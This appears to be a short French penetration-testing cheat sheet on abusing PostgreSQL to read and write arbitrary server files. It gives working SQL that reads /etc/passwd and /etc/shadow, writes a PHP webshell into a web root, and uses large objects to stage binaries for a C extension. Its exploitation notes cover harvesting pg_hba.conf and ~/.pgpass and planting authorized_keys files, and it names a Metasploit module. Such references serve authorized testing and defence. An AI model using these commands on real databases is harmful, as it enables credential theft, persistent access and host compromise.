PostgreSQL peut lire et écrire des fichiers arbitraires avec son compte de service, ce qui est utile en soi (vol de configuration, de clés et de hash) et comme étape de préparation d'une extension C. Le superutilisateur donne accès à tout cela ; certaines fonctions sont accessibles via les rôles pg_read_server_files et pg_write_server_files sans superutilisateur complet.
Lecture de fichiers#
-- whole file into a column
CREATE TABLE f (d text); COPY f FROM '/etc/passwd';
SELECT * FROM f;
-- server-side read functions
SELECT pg_read_file('/etc/passwd');
SELECT pg_ls_dir('/var/lib/postgresql');
Écriture de fichiers#
-- COPY out: drop a webshell or an authorized_keys file
COPY (SELECT 'content') TO '/var/www/html/shell.php';
-- large objects: import/export arbitrary bytes (stage a .so for a C function)
SELECT lo_import('/etc/shadow', 1234);
SELECT lo_export(1234, '/tmp/shadow.copy');
Notes d'exploitation#
- La lecture de fichiers récolte les secrets propres au cluster (
pg_hba.conf, le répertoire de données,~/.pgpass) et les identifiants de l'hôte (/etc/shadowsi le service s'exécute avec des privilèges), alimentant des accès supplémentaires. - L'écriture de fichiers dépose un webshell sous un chemin servi, un
authorized_keysdans le répertoire personnel du compte de service, ou un.socompilé à transformer en fonction d'extension C. - La voie des large objects (
lo_import/lo_export) écrit des octets bruts, c'est ainsi que vous préparez un binaire que le mode texte deCOPYcorromprait. - Les écritures sont limitées à ce que le compte de service peut écrire, visez donc les chemins qu'il possède ou qu'il sert.
Outils#
- psql : exécuter
COPY,lo_*etpg_read_filedirectement. - Metasploit (
postgres_readfile) : lecture de fichier encapsulée.